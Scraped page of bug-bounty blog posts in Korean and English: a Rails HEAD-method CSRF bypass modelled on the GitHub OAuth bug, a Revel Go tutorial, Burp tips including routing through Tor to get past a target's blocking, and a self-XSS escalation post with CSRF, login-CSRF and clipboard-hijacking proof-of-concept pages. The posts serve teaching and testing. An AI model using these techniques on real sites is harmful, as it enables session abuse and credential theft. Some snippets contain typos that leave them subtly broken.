11/23/2019

Check logic vulnerability point using GET/HEAD in Ruby on Rails

최근에 Github OAuth flow bypass 취약점이 공개되었습니다. 이 취약점은 Rails 앱의 특성을 이용한 취약점이고, Github만의 문제가 아니고 패치로 모든 Rails 앱을 보호할 수도 없습니다.
Today, I going to review one vulnerability that needs to be checked in the Rails App environment through the Github OAuth flow bypass vulnerability.
(B recently shared something interesting to me.)

그래서 어떤 내용이고 어떤 부분을 중점으로 분석해야할지 정리해봅니다.

Thanks to B for letting me test it again.

Summary

A brief description of the link below. For English, just refer to the link. :)

우선 취약점에 대해 간략히 살펴봅시다. 깃허브 사용자가 외부 앱에 로그인하는 경우 버튼을 통해 확인을 받게 됩니다. 이 과정에는 당연하게 CSRF에 대한 대응로직은 당연하게 존재합니다.

Github의 3rd App에 대한 Authorize 플로우 중 https://github.com/login/oauth/authorize 페이지가 인증 버튼을 보여주는 뷰어(GET)이자, 인증 요청이 맨 마지막 페이지(POST)이기도 합니다. Rails 앱은 기본적으로 CSRF Token으로 모든 요청을 검증하고 있지만, 이 부분에서 아래 설명할 HEAD 메소드를 이용하여 CSRF 대응 로직을 우회하고 이를 가능하게 합니다.

자세한 내용은 아래 링크를 참고해주세요.
https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html

What is HEAD Method

HEAD Method는 HTTP의 기본 메소드로 바디를 포함하지 않는 헤더만을 리턴받는 메소드입니다. 보통은 파일의 크기를 가늠하기 위해서 사용하는 경우들이 있는데, 아래 RFC 문서를 보면 이렇게 명시되어 있습니다.
The HEAD Method is the default method for HTTP and only the header that does not contain the body is returned. There are usually cases that you use to measure the size of a file. refer to RFC document below.

...
The server SHOULD send the same
   header fields in response to a HEAD request as it would have sent if
   the request had been a GET
...
Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content 중 HEAD



결국 HEAD 메소드는 GET과 동일한 요청 베이스를 가지는거죠.
The point is that GET and HEAD behave the same.

HEAD Method in Rails

Rails에서도 HEAD Method는 동일하게 GET과 같은 취급을 받습니다. 그래서..
routes.rb에 이런식으로 명시되어 있다면, GET 뿐만이 아니라 HEAD로도 요청이 가능합니다.
The point is that GET and HEAD behave the same on Rails router


Rails.application.routes.draw do
  get 'app/index'
end

Vulnerable Point

대충.. 이런식으로 코드를 하나 만들어봤습니다. 웹 요청을 받으면 GET인 경우 302로 제 블로그, 이외 케이스는 모두 307로 localhost로 가게끔 말이죠.
I made a test code. For GET, 302 and all other methods are 307.


controller
class TesterController < ApplicationController
  def test_redirect
    p 'this is test_redirect'
    p "Method: "+request.method
    # 메소드를 출력 후
    # GET인 경우 제 블로그로 redirect
    if request.method.to_s == 'GET'
      respond_to do |format|
        format.html {redirect_to '[https://www.hahwul.com](https://www.hahwul.com/)', :status => 302}
        format.json {}
      end
    # GET이 아닌 경우 localhost로 리다이렉트 시켰습니다.
    else
      respond_to do |format|
        format.html {redirect_to '[http://127.0.0.1](http://127.0.0.1/)', :status => 307}
        format.json {}
      end
    end
  end

당연히 route는 get만 처리할 수 있도록 지정해줍니다.

routes.rb
Rails.application.routes.draw do
  get 'tester/test_redirect'
end


자 이제 실제로 테스트해보면 이렇습니다.
우선 GET부터 보내게 되면, 당연히 제 블로그 주소로 302 redirect 됩니다.

Test with GET Method
$ curl -i -k http://127.0.0.1/tester/test_redirect
HTTP/1.1 301 Moved Permanently
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: text/html; charset=utf-8
Location: [https://www.hahwul.com](https://www.hahwul.com/)
Cache-Control: no-cache
X-Request-Id: f0c1e322-cbc7-4bc8-9535-84471bd8c11e
X-Runtime: 0.039037
Transfer-Encoding: chunked<html><body>You are being <a href="[https://www.hahwul.com](https://www.hahwul.com/)">redirected</a>.</body></html>

그럼 HEAD로 요청을 날리게 될 땐 어떻게 처리될까요?

Test with HEAD Method
$ curl -i -k http://127.0.0.1/tester/test_redirect -X HEAD
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the
Warning: way you want. Consider using -I/--head instead.
HTTP/1.1 307 Temporary Redirect
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: text/html; charset=utf-8
Location: [http://127.0.0.1](http://127.0.0.1/)
Cache-Control: no-cache
X-Request-Id: 3b13e501-7c8b-45be-8e45-cb43e5fabbee
X-Runtime: 0.034709

routes.rb에는 get으로 제한했기 때문에 HEAD 또한 컨트롤러로 넘어갑니다. 이후 컨트롤러에서 request.method 로 검증을 했기 때문에 같은 GET 베이스의 요청이지만 실제로 처리하는 동작이 달라지게 됩니다.
A test_redirect page is only use get method because routes.rb.
but passed request with HEAD Method. In the controller, GET and HEAD method a diffrent. they are crossroads.

깃헙의 경우...

if request.get?
  # serve authorization page HTML
else
  # grant permissions to app
end

인증 뷰 페이지와 auth 플로우의 마지막 페이지의 주소가 같았고, 위 처럼 request.get? 으로 검증했기 때문에 authorize 요청을 CSRF 토큰 처리 없이 전달할 수 있게 됩니다.
결국 JS를 통해 HEAD 요청을 전달하는 CSRF 코드를 만들면 사용자의 동의 없이 3rd App을 연동할 수 있게 됩니다.

In github case, address of the last page of the auth flow was the same as the authentication view page, and because the address was verified as request.get?, the authoreize request can be send without CSRF token. Eventually, when you create a CSRF code that passes HEAD requests through JS, you can added the 3rd App without your consent.

HEAD login/oauth/authorize?client_id={CLIENT_ID}&scope=read:user&authorize=1
Host: github.com
(https://not-an-aardvark.github.io/oauth-bypass-poc-fbdf56605489c74b2951/ 실제 PoC)

Conclusion

HEAD에 대한 처리 방식을 Rails의 스펙적인 부분이기 때문에 (사실 당연한 이치) Rails 자체의 문제는 아닙니다. 결국은 개발자가 로직을 구성할 때 이러한 점들이 고려되지 않은 웹에서는 분명히 문제가 될 수 있는 부분이겠죠.

결국은 매번 분석할 때 마다 컨트롤러들의 동작과 분기를 잘 살펴봐야할 것 같네요.. HTTP Method 검증에 자주 사용되는 루비 메소드들입니다.

request.method
request.get?
request.post?
etc..



Reference

https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html
https://developer.mozilla.org/ko/docs/Web/HTTP/Methods/HEAD
Share: | Coffee Me:

11/22/2019

[루비에서 Go로 넘어가기] Revel을 이용해 MVC 웹 구성하기

Ruby에서 golang으로 주력 언어를 바꿔가는 중입니다. 이 과정에서 가장 문제가 되는 부분이 .. 웹앱이였습니다. 이미 Rails에 익숙해진터라 대안이 될만한 여러 프레임워크를 찾아봤고, 2가지 생각이 나왔습니다.

1) revel을 통한 개발(MVC)
2) 기본으로 제공되는 net/http와 VueJS 조합

go에 MVC가 어울리는지는 모르겠으나, 우선 익숙함을 채워줄 것이 필요했기 때문에 Revel부터 진행했습니다.
(왜냐믄.. Rails랑 비슷하단 느낌을 많이 받았거든요.)

그리고 단일 페이지에 Vue로 프론트 구성하고, 백엔드 API로 동작 구현하는 2번 방식도 자주 써볼까합니다.
(어차피 난 전문 개발자가 아니니깐!)

아무튼 오늘 글은 1번에 대한 내용이고, Revel 사용하는 방법 정도만 정리해둡니다.
(모든건 실전!)



Install revel

go get으로 revel을 설치해줍시다.

$ go get -u github.com/revel/cmd/revel

쓰기 편하게 alias 등록해줍시다.

$ vim ~.zshrc
alias revel='/Users/hahwul/go/bin/revel' # 추가

$ source ~/.zshrc

자 초기 세팅은 끝났습니다.

$ revel 
Usage:
  revel [OPTIONS] <command>

Application Options:
  -v, --debug              If set the logger is set to verbose
      --historic-run-mode  If set the runmode is passed a string not json
  -X, --build-flags=       These flags will be used when building the application. May be specified multiple times,
                           only applicable for Build, Run, Package, Test commands

Available commands:
  build
  clean
  new
  package
  run
  test
  version



Create New WebApp

gopath로 이동해서 프로젝트를 생성해줍니다.

$ cd $GOPAHT(~/go)
$ revel new -a teszz
Revel executing: create a skeleton Revel application
Your application has been created in:
   /Users/hahwul/go/src/teszz

기본적으로 구조는 잡아주고, revel run 명령으로 실행할 수 있습니다.

$ revel run -a teszz
Revel executing: run a Revel application
WARN  01:34:22    run.go:150: No http.addr specified in the app.conf listening on localhost interface only. This will not allow external access to your application
INFO  01:34:24    app     run.go:26: Running revel server
INFO  01:34:24    app revel_hooks.go:32: Go to /@tests to run the tests.
Revel engine is listening on.. localhost:49464
Revel proxy is listening, point your browser to : 9000

서버의 기본 포트는 9000번입니다. 웹 브라우저로 접속해보면...

it works!


Revel App의 구조 파악하기

처음에 이야기드렸던대로 MVC 모델을 따르며, 전반적으로 Rails랑 비슷한 느낌이 많이듭니다.

$ cd ~/go/src/testzz
$ tree
.
├── README.md
├── app
│   ├── controllers
│   │   └── app.go
│   ├── init.go
│   ├── routes
│   │   └── routes.go
│   ├── tmp
│   │   ├── main.go
│   │   └── run
│   │       └── run.go
│   └── views
│       ├── App
│       │   └── Index.html
│       ├── debug.html
│       ├── errors
│       │   ├── 404.html
│       │   └── 500.html
│       ├── flash.html
│       ├── footer.html
│       └── header.html
├── conf
│   ├── app.conf
│   └── routes
├── messages
│   └── sample.en
├── public
│   ├── css
│   │   └── bootstrap-3.3.6.min.css
│   ├── fonts
│   │   ├── glyphicons-halflings-regular.ttf
│   │   ├── glyphicons-halflings-regular.woff
│   │   └── glyphicons-halflings-regular.woff2
│   ├── img
│   │   └── favicon.png
│   └── js
│       ├── bootstrap-3.3.6.min.js
│       └── jquery-2.2.4.min.js
└── tests
    └── apptest.go

대략 정리해보면...

app 디렉토리: 어플리케이션(view, controller)
conf: 설정정보,라우팅
public: 라우팅 없이 불러올 수 있는 퍼블릭 디렉토리
tests: 기본 유닛테스트

Routing

라우팅은 config/routes 를 통해 설정할 수 있습니다. 아래와 같은 형태를 띄며, URL과 페이지, 컨트롤러를 매핑할 수 있습니다.

module:testrunner
# module:jobs

GET     /                                       App.Index

# Ignore favicon requests
GET     /favicon.ico                            404

# Map static resources from the /app/public folder to the /public path
GET     /public/*filepath                       Static.Serve("public")


View and Template

위에 라우팅에서 / 를 가리키는 App.index 의 실제 뷰인 아래 코드를 봐봅시다.

$ cat app/views/App/Index.html
{{set . "title" "Home"}}
{{template "header.html" .}}

<header class="jumbotron" style="background-color:#A9F16C">
  <div class="container">
    <div class="row">
      <h1>It works!</h1>
      <p></p>
    </div>
  </div>
</header>

<div class="container">
  <div class="row">
    <div class="span6">
      {{template "flash.html" .}}
    </div>
  </div>
</div>

{{template "footer.html" .}}

일반 html 파일이지만, 기본적으로 template를 사용합니다. 구문은 {{template $}} 형태이며, 이를 이용해 어플리케이션 데이터를 직접 사용하거나, 외부 파일을 include 시킬 수 있습니다.

Controller

컨트롤러도 Rails와 거의 유사합니다. (어차피 MVC라 다른 언어도 뭐 비슷하겠죠)

$ cat app/controllers/app.go
..snip..
type App struct {
 *revel.Controller
}

func (c App) Index() revel.Result {
 return c.Render()
}

헤더랑 코드 설정하는 거 몇가지 남겨둡니다. (어차피 결국 doc을 보게됩니다.)

type App struct {
 *revel.Controller
}

// ContentType이나 Statsu 코드, 헤더 등의 추가
func (c App) Index() revel.Result {
  c.Response.Status = http.StatusTeapot
  // or c.Response.Status = 301, 302, 404, etc..
 c.Response.ContentType = "application/json"
 return c.Render()
}

// 외부 Redirect도 Rails와 유사함..
func (c App) redirect_302() revel.Result {
  data := "callback?"
 return c.Redirect("/otherpath/%d", data)
}


Conclusion

사실 글 작성한지는 좀 됬습니다.. 저장만 해뒀다가 이제야 글을 올리게 되네요.
루비에서 고로 바꾸면서 PoC 코드의 작성 범위가 좀 넓어진 느낌이긴합니다. (세심한 컨트롤?)
툴도 하나씩 포팅하고, 신규 툴은 고로 만들고 있는데, 루비랑은 다르게 또 다른 재미가 있네요.
Share: | Coffee Me:

11/19/2019

How to diable detectportal.firefox.com in firefox(enemy of burpsuite)

When i hack the web with proxy tools like Firefox + Burp suite or ZAP, there’s a very annoying request.
파이어폭스와 Burp suite, ZAP 등의 프록시 도구로 테스트를 하다보면, 굉장히 거슬리는 요청이 있습니다.

http://detectportal.firefox.com/success.txt?ipv4, ipv6


This is a request from Firefox to find the Network Login page. (some.. private network, cafe wifi with authentication)
바로 이런 요청인데, 이 기능은 firefox에서 폐쇄망일 경우 네트워크 로그인 페이지(예를들면, 스벅 Wifi에서 로그인 페이지 등)을 찾기 위해 발생하는 요청입니다.
이 요청이 굉장히 짧은 주기로 무제한 호출되기 떄문에 Burp suite에는 이런.. 만행이 일어납니다.


Disable detectportal in config

1) about:config
2) captiv 검색(search captiv)
3) network.captive-portal-service.enabled 를 false로 수정(true to false)


Other way..

1) replace & match on Burp suite
2) SSL Bypass options on Burp suite(I’m not sure if this will work or not.)
Share: | Coffee Me:

Mac 업그레이드 후 개발 관련 도구 에러(xcrun: error: invalid active developer path) 해결방법(xcode-select --install)

최근에 모하비에서 카탈리나로 업그레이드 했습니다. 매번 업데이트 때마다 여러 문제가 발생하는데, 이번에도 어김없이 xcode cli 관련 이슈가 또 터지네요..
매번 명령어 때문에 검색하기도 귀찮은데, 그냥 블로그에 메모해둡니다.



이런 경우에 git을 비롯한 다수의 개발 툴들이 다 xcrun 에러를 뱉게됩니다.

$ git
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun

$ make
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun

$ gcc
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun

xcode-select 명령으로 xcode cli만 따로 설치해서 이 문제를 해결해줍시다.

$ xcode-select --install

대략 설치는 1~2분 정도였던 것 같고 설치가 완료되면 git이 잘 됩니다.


$ git
usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
           <command> [<args>]

These are common Git commands used in various situations:

start a working area (see also: git help tutorial)
   clone      Clone a repository into a new directory
   init       Create an empty Git repository or reinitialize an existing one

work on the current change (see also: git help everyday)
   add        Add file contents to the index
   mv         Move or rename a file, a directory, or a symlink
   reset      Reset current HEAD to the specified state
   rm         Remove files from the working tree and from the index

examine the history and state (see also: git help revisions)
   bisect     Use binary search to find the commit that 
   ...snip..
Share: | Coffee Me:

11/16/2019

Burp suite using Tor network

버그 바운티를 하다보면, 간혹 차단되는 경우가 있습니다. 다시 차단을 우회하고 접속할 수 있는 방법에는 여러가지가 있으나 tor를 이용하면 간단하게 처리할 수 있습니다.
Sometimes, when you do a bug bounty, network block me from target’s security team… There are many ways to bypass blockage and connect, but with tor, you can do it simply


다만 tor를 사용하면 내 request와 response는 나만의 것이 아니니 중요정보가 포함되거나 인증 쿠키등은 조심해야합니다.
But, if you use tor, my request and response are not only my own, so I have to be careful of important information and certified cookies.


Install & Run tor

Install

$ brew install tor

Running tor

$ tor
Nov 15 23:55:22.342 [notice] Tor 0.4.1.6 running on Darwin with Libevent 2.1.11-stable, OpenSSL 1.1.1d, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.
Nov 15 23:55:22.342 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
Nov 15 23:55:22.343 [notice] Configuration file "/usr/local/etc/tor/torrc" not present, using reasonable defaults.
Nov 15 23:55:22.351 [notice] Opening Socks listener on 127.0.0.1:9050
Nov 15 23:55:22.351 [notice] Opened Socks listener on 127.0.0.1:9050
Nov 15 23:55:22.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.4.1.6/share/tor/geoip.
Nov 15 23:55:22.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.4.1.6/share/tor/geoip6.
Nov 15 23:55:22.000 [notice] Bootstrapped 0% (starting): Starting
Nov 15 23:55:22.000 [notice] Starting with guard context "default"
Nov 15 23:55:23.000 [notice] Bootstrapped 5% (conn): Connecting to a relay
Nov 15 23:55:24.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay
Nov 15 23:55:24.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay
Nov 15 23:55:25.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done
Nov 15 23:55:25.000 [notice] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection
Nov 15 23:55:25.000 [notice] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus
Nov 15 23:55:25.000 [notice] Bootstrapped 30% (loading_status): Loading networkstatus consensus
Nov 15 23:55:30.000 [notice] Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors
Nov 15 23:55:30.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 2862/6000, and can only build 15% of likely paths. (We have 55% of guards bw, 53% of midpoint bw, and 53% of exit bw = 15% of path bw.)
Nov 15 23:55:31.000 [notice] Bootstrapped 56% (loading_descriptors): Loading relay descriptors
Nov 15 23:55:34.000 [notice] Bootstrapped 62% (loading_descriptors): Loading relay descriptors
Nov 15 23:55:34.000 [notice] Bootstrapped 67% (loading_descriptors): Loading relay descriptors
Nov 15 23:55:35.000 [notice] Bootstrapped 72% (loading_descriptors): Loading relay descriptors
Nov 15 23:55:35.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits
Nov 15 23:55:36.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits
Nov 15 23:55:36.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit
Nov 15 23:55:37.000 [notice] Bootstrapped 100% (done): Done

Setting SOCK5 Proxy on Burp suite

Burp suite > Project options(or User options) > SOCK5 Proxy


host : localhost
port : 9050

Burp request using tor tunnel

The outgoing proxy is now use a tor network

https://i.giphy.com/B37cYPCruqwwg.gif

Share: | Coffee Me:

11/07/2019

Navigation with Embedded Browser on Burp suite 2.1.05(new releases)

Today’s blog post is written only in Korean. This is brief information about the release notes. if you need english, just see release note or translate please.
(http://releases.portswigger.net/2019/11/professional-2105.html)

자 오늘은 Burp suite pro 2.1.05 릴리즈 내용에 대해 이야기할까 합니다.
보통 마이너 버전 업그레이드는 글로 잘 안쓰는데, Burp suite 쪽의 방향성? 을 볼 수 있는 부분이 있어서 간략하게 정리해봐요.

https://i.giphy.com/12GSQqUY9CSmJO.gif

Intro

사실 트위터에서 먼저 봤어서 대충 어떤 업데이트인지는 알고있었는데, 오늘 회사에서 일하다보니 바로 업데이트가 뜨더라구요. 나름 기대했던 기능이라 대충 써보고 집에도 업데이트 후 글 작성중이네요.



사실상 업데이트의 메인 부분인 실험적인 기능인데요.. 내용이 뭔가하면, burp suite 내 크로미움 브라우저를 내장하고 Scanning(Crawl, Audit) 시 기존 크롤러와 함께 내장 브라우저를 이용한 크롤링을 진행한다는 점입니다.

여기서 내장 브라우저를 쓰기 때문에 Vue, React 등 동적으로 페이지를 구성하는 싱글 페이지의 서비스들의 컴포넌트를 식별하고 개별 페이지로 인식시킬 수 있습니다. (이거 구현한거 자체가 대단한듯…)
아무튼 이로인해서, Burp suite의 기능 자체가 크게 향상 될 것 같은 느낌이 드네요. 아직은 초기단계라서 성능 이슈가 있다고는 하는데요, 어떻게 이 실험 기능을 사용하는지 정리해볼게요.

How to use Embedded Browser(chromium) for Navigation

2.1.05 로 업데이트 이후 Scan 쪽 config에 기능이 추가됬습니다. 기본적으론 Disalbe 되어있어서 스캔 시 별도로 활성화 후 테스트를 진행해주시면 됩니다.
먼저, New scan 으로 스캔 위자드 진입 후 Scan configure로 들어가서 설정을 추가해줍니다. 크롤링, 스캐닝에 따라 골라서 추가해주시면 되고 추가하는 과정에서 Miscellaneous 탭에 보시면 Use embedded browser for navigation



Conclusion

확실히 방향이 잡힌듯합니다. Burp suite는 분석쪽으로 강하게 초점을 맞춰서 기능을 업데이트 하는 느낌이고(아 물론 Enterpise는 또 다른 느낌이죠) ZAP은 백그라운드&API화 및 HUD 등을 이용한 진단 방식의 변화를 노려보는 것 같네요.
그나저나 Burp suite, 제발 SSL 에러좀 고쳐주세요. 모두가 희망합니다..


Share: | Coffee Me:

11/03/2019

Upgrade self XSS to Exploitable XSS an 3 Ways Technic

오늘은 Self-XSS를 유효한 XSS로 업그레이드 하는 방법 3가지에 대해 이야기 할까 합니다.

What is self XSS?

XSS Vulnerable to Only Me.
Generally speaking, both attackers and victims are the same, i.e. XSS, which does not affect other users.

공격자가 피해자인 XSS입니다. 즉 본인만 볼 수 있는 페이지의 XSS이며, 보통 버그바운티에선 영향없는건으로 리워드 대상이 아닙니다. 기업보안 입장에선 당연히 같이 체크해야하는 부분이구요.

POST /me/save_profile

name=<svg/onload=alert(45)>

Fire on /me/profile

Technic1 :: self XSS + CSRF(Stored) (aka, XSRF?)

One of the ways to influence self XSS is the CSRF of the stored function from XSS Vulnerable page. The CSRF stores the XSS code from use victim’s login session and forces the saved page to execute the XSS code.

self XSS를 영향있게 만드는 방법중 하나가 stored 되는 부분에 대한 CSRF 입니다.
결국 CSRF로 피해자의 로그인 세션에서 XSS 코드를 저장하고, 저장된 페이지를 강제로 호출시켜 XSS 코드를 동작시킵니다.

<form action="~/me/save_profile" method="post" target="_blank" id="ff">
  <input type="hidden" name="name" value="<svg/onload=alert(45)>">
</form>

<script>document.getElementsById('ff').submit;document.location.href='~/me/profile'</script>

Technic2 :: self XSS + Login CSRF

Second, Login csrf. I didn’t really know this part, but I just recently got to know this part of my conversation with m0z(@LooseSecurity) and Jenish(@_jensec)
https://twitter.com/LooseSecurity/status/1189598170537517057

두번째는 login csrf를 이용한 방법입니다. 이부분은 사실 잘 몰랐던 부분인데, 최근 m0z(@LooseSecurity)와 Jenish(@_jensec)와의 대화로 새로 알아간 부분이네요.

** login csrf **
Login CSRF is Login as attacker ID/PW.
공격자의 ID/PW로 로그인하는 CSRF입니다.

The question here is what kind of threats an attacker’s session poses. I didn’t even think about this because I thought there was no risk because it was an attacker’s session. What’s interesting is that some subdomains are victims’ sessions when logged in as an attacker’s account. This can be used to steal information from an attacker’s victim.

여기서, 궁금한점이 생기는데 공격자의 세션인데 뭐가 문제인지? 라는 물음이 생깁니다. 저 또한 이 부분때문에 Login CSRF라는 개념 자체를 부정하고 있었구요. (왜냐면 영향 없다고 생각해서..)

재미있는점은, 로그인된 사용자에게 공격자의 계정으로 로그인했을 때 일부 서브 도메인은 피해자의 세션을 들고있다는 점입니다. 이를 이용하면 공격자의 피해자의 정보를 탈취할 수 있습니다. (보통 신뢰받는 서브 도메인간은 SOP나 CSP등의 정책이 약한 상태죠.)

Attacker test accounts
id: test
pw: test111

login csrf(preset)
<form action="~/me/save_profile" method="post" target="_blank" id="ff">
  <input type="hidden" name="name" value="<svg/onload=alert(45)>">
</form>

<script>document.getElementsById('ff').submit;document.location.href='~/me/profile'</script>

Send login csrf to the victim
<form action="/login" method="post">
  <input type="hidden" name="id" value="test">
  <input type="hidden" name="id" value="test111>">
</form>

** Flow **
1) Save self-XSS(Attacker)
2) Login CSRF(Victim)
3) Fire Self-XSS on Attacker Sessions(Victim)
4) Leak Subdomain Credential(Victim)

Brothers, thank you for giving me a big wake-up call!

Technic3 :: XSS Jacking (with Click jacking)

Finally, XSS Jacking(Click Jacking). With a few tricks and a well-crafted page design, you can catch a victim.

사용자가 공격코드를 붙여넣게 만드는 방법입니다. 사실 잘 안할법하긴한데, 화면 구성을 잘하면 가능할수도 있습니다. 그리고 보통 사회공학기법을 생각하는데, 뛰어난 페이지 디자인과 몇가지 트릭이면 충분히 낚을 수 있습니다.

** Trick **
You can use event handlers such as oncopy to intercept and replace a user's action. Please look at the code below.

oncopy 등의 이벤트 핸들러를 이용해서 사용자가 한 액션을 가로채어 바꿀 수 있습니다.

This scenario is gives the victim a page that appears to be Captcha and allows the attacker to copy and transmit the intended string. Victims copy what appears to be random numbers of data, but the XSS code is inserted with the data and the attack code is not visible due to UI configuration on the vulnerable page.
(but my design wasn’t great. just… just take it in.)

아래 시나리오는 피해자에게 Captcha로 보이는 페이지를 주고 공격자가 의도한 문자열을 복사하고 전송하게 합니다. 피해자는 임의의 수로 보이는 데이터를 카피하지만, 실제론 해당 데이터와 함께 XSS코드가 삽입되며 취약 페이지의 UI 구성으로 인해 공격 코드는 보이지 않습니다.

attacker.html
<script>
    document.addEventListener('copy', function(e){
        console.log("gg")
        e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(45)\x3c/script\x3e                                           9e107d9d654654654qsdfa65s4da65s4f372bb6826bd81d3542a419d6');
        e.preventDefault();
    });
    console.log("inited")
</script>

<img src="http://clipart-library.com/images/6cyog8Azi.png" width="100px">
<h2>If you not robot?</h2>
&nbsp;&nbsp;<input type="text" width="100%" value="9e107d9d654654654qsdfa65s4da65s4f372bb6826bd81d3542a419d6"><br>
<iframe src="./vuln.html" style="border:none">

vuln.html
<input id="up"  type="text" value=""><input type="button" value="confirm" onclick="alert(document.getElementById('up').value)">

스크립트 실행전에 취약 페이지의 input에선 스크립트 코드가 보이지 않습니다.
Script code is not visible in input of vulnerable page before script execution.



For trigger this method, the protection policy for the iframe must be missing or bypassed, as with Click Jacking.

다만 이 방법을 트리거하기 위해선 Click Jacking과 마찬가지로 iframe에 대한 보호 정책이 없거나 우회되야 합니다.

Thank you :)
Share: | Coffee Me:

11/02/2019

The scratchpad is deprecated from Firefox 72 version(스크래치패드 중단...)

어제 파이어폭스 스크래치 패드를 쓰려고 보나보니.. 충격적인 메시지를 발견했습니다.

비활성화라니...=_=

바로 Deprecated 된다는건데요.. 솔직히 개발할때나 XSS 찾을 때 잘 써먹었는데 뭔가 아쉬운 마음이 드네요.. 찾아보니 모질라 공식 Deprecated tool에도 포함되어 버렸네요.

https://developer.mozilla.org/ko/docs/Tools/Deprecated_tools#Scratchpad

대안으로 재시한건 console에서 Ctrl+Enter, Cmd+Enter를 즉 멀티라인을 이용해서 코드 작성하라는 거네요… 물론 간단한 코드는 콘솔이 편하지만, 스크래치 패드의 활용도도 굉장히 높았던지라 아쉬움만 남습니다 ㅜㅜ

공식 설명에선 콘솔이 디버깅도 되고 더 편하다곤 하는데, 긴 코드 사용하기엔.. 아쉬운 부분이 크죠


아무튼.. 앞으로 나올 firefox 72 버전에선 제거됩니다..
https://bugzilla.mozilla.org/show_bug.cgi?id=1519103

https://i.giphy.com/9Y5BbDSkSTiY8.gif


Share: | Coffee Me: